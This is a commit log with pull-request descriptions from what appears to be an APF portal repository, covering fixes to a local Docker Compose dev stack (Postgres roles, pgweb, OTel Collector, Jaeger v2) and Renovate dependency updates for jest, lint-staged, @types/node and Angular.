🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #66
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-09 20:40:54 +02:00
julien a893f8e06b chore(infra): migrate Jaeger to v2 for built-in dark theme (#64)
CI / check (push) Successful in 1m23s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 57s
CI / a11y (push) Successful in 49s
CI / perf (push) Successful in 2m5s
## Summary

Jaeger v1's web UI has no theme selector — it ships light-only. v2 (the OTel-Collector-based rewrite, image `jaegertracing/jaeger`, distinct from v1's `jaegertracing/all-in-one`) ships a **Light / Dark / Auto** switcher in the UI nav. v2 is also the actively-developed line; v1 is on the way out within ~6-12 months.

Migration is mechanical:

- Image: `jaegertracing/all-in-one:1.76.0` → `jaegertracing/jaeger:2.17.0`.
- Drop `COLLECTOR_OTLP_ENABLED: 'true'` env — v2 enables OTLP receivers by default.
- UI port (`16686`) and OTLP ports (`4317` / `4318`) are unchanged, so the collector → `jaeger:4317` forwarding pipeline keeps working without touching `otel-collector.yaml`.

## Test plan

- [ ] After merge: `docker compose -f infra/local/dev.compose.yml --profile observability up -d --force-recreate jaeger` → container stays healthy.
- [ ] http://localhost:16686 loads the v2 UI; nav shows the Light/Dark/Auto switcher.
- [ ] Send a synthetic OTLP trace to `localhost:4317` (e.g., via grpcurl or once the BFF is wired in B) → it appears in the Jaeger UI.
- [ ] OTel Collector logs no longer warn abou

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #64
2026-05-08 23:31:16 +02:00
julien 171f21b99b fix(infra): pass pgweb credentials via discrete CLI flags (#63)
CI / check (push) Successful in 1m30s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m37s
CI / a11y (push) Successful in 42s
CI / perf (push) Successful in 2m18s
## Summary

`PGWEB_DATABASE_URL` (post-#62 rename) still fails at boot:

```
Error: Invalid URL. Valid format: postgres://user:password@host:port/db?sslmode=mode
```

Root cause: the userinfo portion of a Postgres URL must be URL-encoded — any `@`, `#`, `:`, `/`, `?`, `%`, `&`, `=`, `+`, `;` etc. in the password breaks the parser. Compose has no built-in URL encoding, so the URL we construct in YAML is fragile by design and depends on the developer happening to pick a URL-safe password.

Switch to pgweb's discrete CLI flags (`--host`, `--port`, `--user`, `--pass`, `--db`, `--ssl`). Compose interpolates each value literally — no URL encoding required, any password works.

The image's ENTRYPOINT already passes `--bind=0.0.0.0 --listen=8081`; our args are appended to those.

## Side benefit

A missing password now yields an explicit Compose error (`POSTGRES_PASSWORD must be set in infra/local/.env`) rather than an opaque pgweb crash with a vague "Invalid URL" message.

## Test plan

- [ ] After merge: `docker compose -f infra/local/dev.compose.yml --profile dbtools up -d` → pgweb stays up (no `Restarting (1)` loop).
- [ ] http://localhost:8081 loads pgweb's UI; you can navigate to the `audit` schema.
- [ ] Confirm with a password that contains a special char (e.g., `dev@pass#2026!`) — should still work.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #63
2026-05-08 23:13:17 +02:00
julien 10f8565957 fix(infra): rename pgweb DATABASE_URL to PGWEB_DATABASE_URL (#62)
CI / check (push) Successful in 1m29s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m26s
CI / a11y (push) Successful in 48s
CI / perf (push) Successful in 2m23s
## Summary

pgweb 0.16 deprecated `DATABASE_URL` in favour of `PGWEB_DATABASE_URL`. With the old name, the container starts up, emits a `[DEPRECATION]` warning, then crashes:

```
[DEPRECATION] Usage of DATABASE_URL env var is deprecated, please use PGWEB_DATABASE_URL variable instead
Pgweb v0.16.2 ...
Error: Invalid URL. Valid format: postgres://user:password@host:port/db?sslmode=mode
```

— because the new code path reads `PGWEB_DATABASE_URL` (empty) and the URL parser rejects an empty string.

Rename the env key in the compose file. Same value, just the new name.

## Test plan

- [ ] After merge: `docker compose -f infra/local/dev.compose.yml --profile dbtools up -d` → pgweb stays running (not in `Restarting` loop).
- [ ] http://localhost:8081 loads pgweb's UI; click through to the `audit` schema and the four `audit_*` roles to confirm DB connection.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #62
2026-05-08 22:58:21 +02:00
julien a93b1067e6 docs(setup): add psql and redis-cli to prerequisites (#61)
CI / check (push) Successful in 1m22s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m42s
CI / a11y (push) Successful in 44s
CI / perf (push) Successful in 2m29s
## Summary

Verifying the local-dev stack from the host (`docker compose up -d` + `psql ... -c "\du"` / `redis-cli PING`) requires the postgres and redis client binaries on the developer's machine. They were missing from the prereqs table, so `apt install postgresql-client` / `apt install redis-tools` was an implicit step nobody knew to run.

Add both to §2's table, with one-line rationale for each. The Docker row is also tightened to point at the actual local-dev stack location ([`infra/local/`](infra/local/)) instead of the placeholder "Postgres + Redis containers" wording from before that recipe existed.

`docker compose exec` remains a viable zero-install alternative for developers who prefer not to touch their host. Mentioned only informally — the host-install path is the documented one.

## Test plan

- [ ] Fresh-clone a checkout, follow §2 + §3 verbatim, end with a working stack and successful `psql ... -c "\du"` against it.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #61
2026-05-08 22:05:05 +02:00
julien 6137486d64 fix(infra): grant audit roles to current_user, not hardcoded portal (#60)
CI / check (push) Successful in 1m32s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m6s
CI / a11y (push) Successful in 53s
CI / perf (push) Successful in 2m13s
## Summary

The bootstrap SQL ended with:

```sql
GRANT audit_owner, audit_writer, audit_reader, audit_archiver TO portal;
```

— hard-coded `portal`. The compose file and `.env.example` both document `POSTGRES_USER` as overridable; any contributor who changed it hit:

```
ERROR: role "portal" does not exist
psql: /docker-entrypoint-initdb.d/01-init.sql:48: ERROR: role "portal" does not exist
```

Replace with `current_user`, which resolves at execution time to whoever is running the init SQL — i.e. the superuser Postgres just created from `POSTGRES_USER`, whatever its name.

## Recovery for anyone hit by the bug

The half-failed init left the postgres-data volume in a partially-initialised state. To reset:

```bash
cd infra/local
docker compose -f dev.compose.yml down -v   # wipes the volume
docker compose -f dev.compose.yml up -d     # bootstrap re-runs cleanly
```

## Test plan

- [ ] After merge + recovery: `docker compose ps` shows postgres healthy.
- [ ] `psql postgres://<user>:<pwd>@localhost:5432/portal_dev -c "\du"` lists the four `audit_*` roles, and your superuser is "Member of: {audit_owner, audit_writer, audit_reader, audit_archiver}".
- [ ] `psql ... -c "\dn"` shows the `audit` schema.
- [ ] Test with a non-default `POSTGRES_USER` value (set `POSTGRES_USER=apf_portal` in `.env`, wipe volume, re-up) — init still succeeds.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #60
2026-05-08 21:44:05 +02:00
julien d5c5c45175 fix(infra): correct OTel collector image tag (#59)
CI / commits (push) Has been skipped
CI / check (push) Successful in 1m1s
CI / scan (push) Successful in 1m9s
CI / a11y (push) Successful in 39s
CI / perf (push) Successful in 1m58s
## Summary
`otel/opentelemetry-collector-contrib:0.115.0` doesn't exist — release 0.115 was published as `0.115.1` only. Same memory-not-Docker-Hub mistake as Jaeger in #58.

```
Error response from daemon: failed to resolve reference
"docker.io/otel/opentelemetry-collector-contrib:0.115.0": not found
```

Pin to `0.150.1` (latest stable). The collector's stable-feature backward-compat covers our `otel-collector.yaml` (otlp receiver, batch processor, debug exporter, otlp/jaeger exporter) — no config change needed.

Postgres `17.2-alpine`, Redis `7.4-alpine`, pgweb `0.16.2` were verified against Docker Hub at the same time; they're all correct.

## Test plan
- [ ] `cd infra/local && docker compose -f dev.compose.yml up -d` — all 3 core services pull and start healthy.
- [ ] `--profile observability up -d` adds Jaeger 1.76.0 (after #58).
- [ ] `--profile dbtools up -d` adds pgweb 0.16.2.
- [ ] `docker compose ps` shows everything healthy.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #59
2026-05-08 20:41:00 +02:00
julien f0372adaae fix(infra): correct Jaeger image tag (#58)
CI / check (push) Successful in 1m19s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m21s
CI / a11y (push) Successful in 48s
CI / perf (push) Successful in 2m13s
## Summary
`jaegertracing/all-in-one:1.62` doesn't exist on Docker Hub — I picked it from memory in #57 without verification. Jaeger 1.x publishes only full-semver tags (1.X.Y), not rolling minor (`1.X`) tags.

Activating `--profile observability` errored at image-pull time:

```
Error response from daemon: failed to resolve reference
"docker.io/jaegertracing/all-in-one:1.62": not found
```

Pin to `1.76.0` (latest stable in the 1.x line, verified against Docker Hub).

## Test plan
- [ ] `cd infra/local && docker compose -f dev.compose.yml --profile observability up -d` → all images pull, all services healthy.
- [ ] http://localhost:16686 → Jaeger UI loads (empty until the BFF starts emitting traces, which lands in the upcoming **B — Observability foundations** PR).
- [ ] Renovate's docker-compose manager picks up future Jaeger 1.x bumps and surfaces them as PRs.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #58
2026-05-08 20:08:33 +02:00
julien 0f00d6d93f feat(infra): add local-dev Docker Compose stack (#57)
CI / commits (push) Has been skipped
CI / check (push) Successful in 1m12s
CI / scan (push) Successful in 1m20s
CI / a11y (push) Successful in 41s
CI / perf (push) Successful in 2m9s
## Summary
Bring up Postgres + Redis + OTel Collector in one command so contributors can run the BFF end-to-end without manually wiring each service. Replaces the throwaway `docker run postgres:17-alpine` one-liner that was in `docs/development.md` §3.

### What lands
- **`infra/local/dev.compose.yml`** — three core services (`postgres:17.2-alpine`, `redis:7.4-alpine`, `otel/opentelemetry-collector-contrib:0.115.0`) plus two viewers gated behind Compose profiles:
  - `--profile dbtools` → `sosedoff/pgweb:0.16.2` (Postgres GUI on port 8081)
  - `--profile observability` → `jaegertracing/all-in-one:1.62` (Jaeger UI on 16686)
  - All ports overridable via `.env`. State in named volumes. Healthchecks on data services.
- **`infra/local/.env.example`** — credentials + ports template. `POSTGRES_PASSWORD` and `REDIS_PASSWORD` are mandatory (compose refuses to boot without them); other keys default sensibly.
- **`infra/local/init/postgres/01-init.sql`** — bootstrap SQL per **ADR-0013**: `audit_owner` / `audit_writer` / `audit_reader` / `audit_archiver` roles + `audit` schema. Default privileges encode the append-only contract (INSERT to writer, SELECT to reader, DELETE to archiver, no UPDATE/TRUNCATE to anyone). Applied on first Postgres boot only; documented re-run procedure.
- **`infra/local/otel-collector.yaml`** — pipeline: OTLP gRPC/HTTP → batch → debug exporter (always) + forward to `jaeger:4317`. When the observability profile is off, the Jaeger export logs warn-level retries but doesn't block the debug pipeline.

### Surrounding doc updates
- **`infra/README.md`** — new "Local-dev stack" section: service inventory, port table, first-time setup walkthrough, persistence/bootstrap-replay tips. The previous `local/` placeholder line is removed.
- **`docs/development.md`** §3 — rewritten to walk through the compose-based setup; cross-links to `infra/README.md` for the full reference. Roadmap entry for "Local infra recipe" removed from §8 (now implemented); "Observability dev-loop" line adjusted to point at the new Jaeger profile.

### Out of scope
- **Production parity** — HA Postgres, Redis Sentinel, real OTel backend (Tempo / Loki / etc.) — defer to the on-prem infrastructure ADR (phase 3b). The dev-only nature of this stack is called out explicitly in `infra/README.md`.
- **Wiring the BFF** to actually use these endpoints (NestJS config, Prisma datasource URL, OTel SDK init) — that's the **B — Observability foundations** chantier, next up.

## Test plan
- [ ] `cd infra/local && cp .env.example .env && docker compose -f dev.compose.yml up -d` → all three core services come up healthy; verify with `docker compose ps`.
- [ ] `psql postgres://portal:<pwd>@localhost:5432/portal_dev -c "\dn"` shows the `audit` schema; `\dg` shows the four audit roles.
- [ ] `redis-cli -a <pwd> PING` → `PONG`.
- [ ] Send a fake OTLP trace via grpcurl → see it printed by `docker compose logs otel-collector`.
- [ ] `--profile dbtools up -d` → http://localhost:8081 shows pgweb UI, can navigate to the audit schema.
- [ ] `--profile observability up -d` → http://localhost:16686 shows Jaeger UI; collector logs no longer report Jaeger export retries.
- [ ] `docker compose down -v` cleanly removes everything; next `up -d` re-runs the bootstrap SQL.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #57
2026-05-08 19:23:43 +02:00
APF Portal Bot a93ee16091 chore(deps): update dependency lint-staged to v17.0.3 (#55)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m10s
CI / check (push) Successful in 1m24s
CI / a11y (push) Successful in 36s
CI / perf (push) Successful in 1m58s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [lint-staged](https://github.com/lint-staged/lint-staged) | devDependencies | patch | [`17.0.2` -> `17.0.3`](https://renovatebot.com/diffs/npm/lint-staged/17.0.2/17.0.3) |

---

### Release Notes

<details>
<summary>lint-staged/lint-staged (lint-staged)</summary>

### [`v17.0.3`](https://github.com/lint-staged/lint-staged/blob/HEAD/CHANGELOG.md#1703)

[Compare Source](https://github.com/lint-staged/lint-staged/compare/v17.0.2...v17.0.3)

##### Patch Changes

- [#&#8203;1782](https://github.com/lint-staged/lint-staged/pull/1782) [`06813f9`](https://github.com/lint-staged/lint-staged/commit/06813f9ab661db987e7720086ef9ec3f552ee097) Thanks [@&#8203;iiroj](https://github.com/iiroj)! - Fix *lint-staged* behavior when implicitly committing files without using `git add` by either:
  - `git commit -am "my commit message"` where `-a` (`--all`) means to automatically stage all tracked modified and deleted files
  - `git commit -m "my commit message" .` where `.` is an example of a [*pathspec*](https://git-scm.com/docs/git-commit#Documentation/git-commit.txt-pathspec) where matching files will be staged

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #55
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-08 17:23:29 +02:00
julien 8f81b6202e chore(ci): add triage guide to Renovate dependency dashboard (#54)
CI / commits (push) Has been skipped
CI / check (push) Successful in 59s
CI / scan (push) Successful in 1m7s
CI / a11y (push) Successful in 37s
CI / perf (push) Successful in 1m51s
## Summary
The Renovate dashboard organises pending updates in standard sections (Open / Awaiting Schedule / Pending Approval / Detected dependencies / …). The section headings alone aren't self-explanatory, so the patch+minor vs major distinction we set up via `dependencyDashboardApproval: true` for majors gets lost in the noise.

Add a `dependencyDashboardHeader` markdown block that:
- maps each section → the triage action expected (batch-merge / leave alone / read-changelog-then-tick);
- re-states the pinned constraints visible right at the top: Prisma majors blocked per ADR-0006, Trivy/gitleaks workflow pins not Renovate-tracked;
- cross-links to `docs/development.md` for the full procedure (lighter CI on bot PRs, etc.).

## Test plan
- [ ] After merge, trigger Renovate manually (Actions → Renovate → Run workflow).
- [ ] The "Renovate Dependency Dashboard" issue body now starts with the triage table; sections below are unchanged.
- [ ] Pending major bumps (e.g. anything Renovate now holds for approval) are clearly distinguishable from the patch/minor batch.

## After this PR
Triage the dashboard with the new guide; once that wave is digested, on to **A — local infra recipe**.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #54
2026-05-08 17:14:33 +02:00
APF Portal Bot caf730bc40 chore(deps): update jest monorepo to v30.4.1 (#53)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m11s
CI / check (push) Successful in 1m32s
CI / a11y (push) Successful in 39s
CI / perf (push) Successful in 2m5s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [jest](https://jestjs.io/) ([source](https://github.com/jestjs/jest/tree/HEAD/packages/jest)) | devDependencies | minor | [`30.3.0` -> `30.4.1`](https://renovatebot.com/diffs/npm/jest/30.3.0/30.4.1) |
| [jest-environment-node](https://github.com/jestjs/jest) ([source](https://github.com/jestjs/jest/tree/HEAD/packages/jest-environment-node)) | devDependencies | minor | [`30.3.0` -> `30.4.1`](https://renovatebot.com/diffs/npm/jest-environment-node/30.3.0/30.4.1) |
| [jest-util](https://github.com/jestjs/jest) ([source](https://github.com/jestjs/jest/tree/HEAD/packages/jest-util)) | devDependencies | minor | [`30.3.0` -> `30.4.1`](https://renovatebot.com/diffs/npm/jest-util/30.3.0/30.4.1) |

---

### Release Notes

<details>
<summary>jestjs/jest (jest)</summary>

### [`v30.4.1`](https://github.com/jestjs/jest/blob/HEAD/CHANGELOG.md#3041)

[Compare Source](https://github.com/jestjs/jest/compare/v30.4.0...v30.4.1)

##### Features

- `[jest-config, jest-core, jest-runner, jest-schemas, jest-types]` Allow custom runner configuration options via tuple format `['runner-path', {options}]` ([#&#8203;16141](https://github.com/jestjs/jest/pull/16141))

##### Fixes

- `[jest-runtime]` Align CJS-from-ESM default export with Node: `module.exports` is always the ESM default, `__esModule` unwrapping is no longer applied ([#&#8203;16143](https://github.com/jestjs/jest/pull/16143))

### [`v30.4.0`](https://github.com/jestjs/jest/blob/HEAD/CHANGELOG.md#3040)

[Compare Source](https://github.com/jestjs/jest/compare/v30.3.0...v30.4.0)

##### Features

- `[babel-jest]` Support collecting coverage from `.mts`, `.cts` (and other) files ([#&#8203;15994](https://github.com/jestjs/jest/pull/15994))
- `[jest-circus, jest-cli, jest-config, jest-core, jest-jasmine2, jest-types]` Add `--collect-tests` flag to discover and list tests without executing them ([#&#8203;16006](https://github.com/jestjs/jest/pull/16006))
- `[jest-config, jest-runner, jest-worker]` Add `workerGracefulExitTimeout` config option to control how long workers are given to exit before being force-killed ([#&#8203;15984](https://github.com/jestjs/jest/pull/15984))
- `[jest-config]` Add support for `jest.config.mts` as a valid configuration file ([#&#8203;16005](https://github.com/jestjs/jest/pull/16005))
- `[jest-config, jest-core, jest-reporters, jest-runner]` `verbose` and `silent` can now be set per-project; the project-level value overrides the global value for that project's tests ([#&#8203;16133](https://github.com/jestjs/jest/pull/16133))
- `[@jest/fake-timers]` Accept `Temporal.Duration` in `jest.advanceTimersByTime()` and `jest.advanceTimersByTimeAsync()` ([#&#8203;16128](https://github.com/jestjs/jest/pull/16128))
- `[@jest/fake-timers]` Accept `Temporal.Instant` and `Temporal.ZonedDateTime` in `jest.setSystemTime()` and `useFakeTimers({now})` ([#&#8203;16128](https://github.com/jestjs/jest/pull/16128))
- `[@jest/fake-timers]` Support faking `Temporal.Now.*` ([#&#8203;16131](https://github.com/jestjs/jest/pull/16131))
- `[jest-mock]` Add `clearMocksOnScope(scope)` on `ModuleMocker` for clearing every mock function exposed on a scope object ([#&#8203;16088](https://github.com/jestjs/jest/pull/16088))
- `[jest-resolve]` Add `canResolveSync()` on `Resolver` so callers can detect when a user-configured resolver only exports an `async` hook ([#&#8203;16064](https://github.com/jestjs/jest/pull/16064))
- `[jest-runtime]` Use synchronous `evaluate()` for ES modules without top-level `await` on Node versions that support it (v24.9+), and prefer the synchronous transform path when a sync transformer is configured ([#&#8203;16062](https://github.com/jestjs/jest/pull/16062))
- `[jest-runtime]` Support `require()` of ES modules on Node v24.9+ ([#&#8203;16074](https://github.com/jestjs/jest/pull/16074))
- `[jest-runtime]` Validate TC39 import attributes (`with { type: 'json' }`) on ESM imports ([#&#8203;16127](https://github.com/jestjs/jest/pull/16127))
- `[@jest/transform]` Add `canTransformSync(filename)` on `ScriptTransformer` so callers can pick the sync vs async transform path ([#&#8203;16062](https://github.com/jestjs/jest/pull/16062))
- `[jest-util]` Add `isError` helper ([#&#8203;16076](https://github.com/jestjs/jest/pull/16076))
- `[pretty-format]` Support React 19 ([#&#8203;16123](https://github.com/jestjs/jest/pull/16123))

##### Fixes

- `[expect-utils]` Fix `toStrictEqual` failing on `structuredClone` results due to cross-realm constructor mismatch ([#&#8203;15959](https://github.com/jestjs/jest/pull/15959))
- `[@jest/expect-utils]` Prevent `toMatchObject`/subset matching from throwing when encountering exotic iterables ([#&#8203;15952](https://github.com/jestjs/jest/pull/15952))
- `[fake-timers]` Convert `Date` to milliseconds before passing to `@sinonjs/fake-timers` ([#&#8203;16029](https://github.com/jestjs/jest/pull/16029))
- `[jest]` Export `GlobalConfig` and `ProjectConfig` TypeScript types ([#&#8203;16132](https://github.com/jestjs/jest/pull/16132))
- `[jest-circus]` Prevent crash when `asyncError` is undefined for non-Error throws ([#&#8203;16003](https://github.com/jestjs/jest/pull/16003))
- `[jest-circus, jest-jasmine2]` Include `Error.cause` in JSON `failureMessages` output ([#&#8203;15967](https://github.com/jestjs/jest/pull/15967))
- `[jest-config]` Fix preset path resolution on Windows when the preset uses subpath `exports` ([#&#8203;15961](https://github.com/jestjs/jest/pull/15961))
- `[jest-config]` Allow `collectCoverage` and `coverageProvider` in project config without a validation warning ([#&#8203;16132](https://github.com/jestjs/jest/pull/16132))
- `[jest-config]` Project config validator now emits "is not supported in an individual project configuration" instead of "probably a typing mistake" for known global-only options ([#&#8203;16132](https://github.com/jestjs/jest/pull/16132))
- `[jest-environment-node]` Fix `--localstorage-file` warning on Node 25+ ([#&#8203;16086](https://github.com/jestjs/jest/pull/16086))
- `[jest-reporters]` Apply global coverage threshold to unmatched pattern files in addition to glob/path thresholds ([#&#8203;16137](https://github.com/jestjs/jest/pull/16137))
- `[jest-reporters, jest-runner, jest-runtime, jest-transform]` Fix coverage report not showing correct code coverage when using `projects` config option ([#&#8203;16140](https://github.com/jestjs/jest/pull/16140))
- `[jest-runtime]` Resolve `expect` and `@jest/expect` from the internal module registry so test-file imports share the same `JestAssertionError` as the global `expect` ([#&#8203;16130](https://github.com/jestjs/jest/pull/16130))
- `[jest-runtime]` Improve CJS-from-ESM interop: `__esModule`/Babel default unwrap, broader named-export coverage, and shared CJS singleton across importers ([#&#8203;16050](https://github.com/jestjs/jest/pull/16050))
- `[jest-runtime]` Load `.js` files with ESM syntax but no `"type":"module"` marker as native ESM ([#&#8203;16050](https://github.com/jestjs/jest/pull/16050))
- `[jest-runtime]` Extend the `.js`-with-ESM-syntax fallback to `require()` on Node v24.9+ - falls back to `require(esm)` when the CJS parser rejects ESM syntax ([#&#8203;16078](https://github.com/jestjs/jest/pull/16078))
- `[jest-runtime]` Fix deadlocks and double-evaluation in concurrent ESM and wasm imports ([#&#8203;16050](https://github.com/jestjs/jest/pull/16050))
- `[jest-runtime]` Fix error when `require()` is called after the Jest environment has been torn down ([#&#8203;15951](https://github.com/jestjs/jest/pull/15951))
- `[jest-runtime]` Fix missing error when `import()` is called after the Jest environment has been torn down ([#&#8203;16080](https://github.com/jestjs/jest/pull/16080))
- `[jest-runtime]` Fix virtual `unstable_mockModule` registrations not respected in ESM ([#&#8203;16081](https://github.com/jestjs/jest/pull/16081))
- `[jest-runtime]` Apply `moduleNameMapper` when resolving modules with `require.resolve()` and the `paths` option ([#&#8203;16135](https://github.com/jestjs/jest/pull/16135))

##### Chore & Maintenance

- `[@jest/fake-timers]` Upgrade `@sinonjs/fake-timers` ([#&#8203;16139](https://github.com/jestjs/jest/pull/16139))
- `[jest-runtime]` Use synchronous `linkRequests` / `instantiate` for ESM linking on Node v24.9+ ([#&#8203;16063](https://github.com/jestjs/jest/pull/16063))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #53
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-08 15:34:20 +02:00
APF Portal Bot 48e7a72f61 chore(deps): update dependency @types/node to v24.12.3 (#52)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 3m4s
CI / check (push) Successful in 3m22s
CI / a11y (push) Successful in 1m30s
CI / perf (push) Successful in 4m49s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@types/node](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node) ([source](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node)) | devDependencies | patch | [`24.12.2` -> `24.12.3`](https://renovatebot.com/diffs/npm/@types%2fnode/24.12.2/24.12.3) |

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #52
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-08 01:26:17 +02:00
APF Portal Bot 4739fc4f9b fix(deps): update angular to v21.2.10 (#47)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m35s
CI / check (push) Successful in 2m54s
CI / a11y (push) Successful in 1m35s
CI / perf (push) Successful in 4m20s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@angular-devkit/core](https://github.com/angular/angular-cli) | devDependencies | patch | [`21.2.9` -> `21.2.10`](https://renovatebot.com/diffs/npm/@angular-devkit%2fcore/21.2.9/21.2.10) |
| [@angular-devkit/schematics](https://github.com/angular/angular-cli) | devDependencies | patch | [`21.2.9` -> `21.2.10`](https://renovatebot.com/diffs/npm/@angular-devkit%2fschematics/21.2.9/21.2.10) |
| [@angular/build](https://github.com/angular/angular-cli) | devDependencies | patch | [`21.2.9` -> `21.2.10`](https://renovatebot.com/diffs/npm/@angular%2fbuild/21.2.9/21.2.10) |
| [@angular/cli](https://github.com/angular/angular-cli) | devDependencies | patch | [`21.2.9` -> `21.2.10`](https://renovatebot.com/diffs/npm/@angular%2fcli/21.2.9/21.2.10) |
| [@angular/common](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/common)) | dependencies | patch | [`21.2.11` -> `21.2.12`](https://renovatebot.com/diffs/npm/@angular%2fcommon/21.2.11/21.2.12) |
| [@angular/compiler](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/compiler)) | dependencies | patch | [`21.2.11` -> `21.2.12`](https://renovatebot.com/diffs/npm/@angular%2fcompiler/21.2.11/21.2.12) |
| [@angular/compiler-cli](https://github.com/angular/angular/tree/main/packages/compiler-cli) ([source](https://github.com/angular/angular/tree/HEAD/packages/compiler-cli)) | devDependencies | patch | [`21.2.11` -> `21.2.12`](https://renovatebot.com/diffs/npm/@angular%2fcompiler-cli/21.2.11/21.2.12) |
| [@angular/core](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/core)) | dependencies | patch | [`21.2.11` -> `21.2.12`](https://renovatebot.com/diffs/npm/@angular%2fcore/21.2.11/21.2.12) |
| [@angular/forms](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/forms)) | dependencies | patch | [`21.2.11` -> `21.2.12`](https://renovatebot.com/diffs/npm/@angular%2fforms/21.2.11/21.2.12) |
| [@angular/language-service](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/language-service)) | devDependencies | patch | [`21.2.11` -> `21.2.12`](https://renovatebot.com/diffs/npm/@angular%2flanguage-service/21.2.11/21.2.12) |
| [@angular/platform-browser](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/platform-browser)) | dependencies | patch | [`21.2.11` -> `21.2.12`](https://renovatebot.com/diffs/npm/@angular%2fplatform-browser/21.2.11/21.2.12) |
| [@angular/router](https://github.com/angular/angular/tree/main/packages/router) ([source](https://github.com/angular/angular/tree/HEAD/packages/router)) | dependencies | patch | [`21.2.11` -> `21.2.12`](https://renovatebot.com/diffs/npm/@angular%2frouter/21.2.11/21.2.12) |
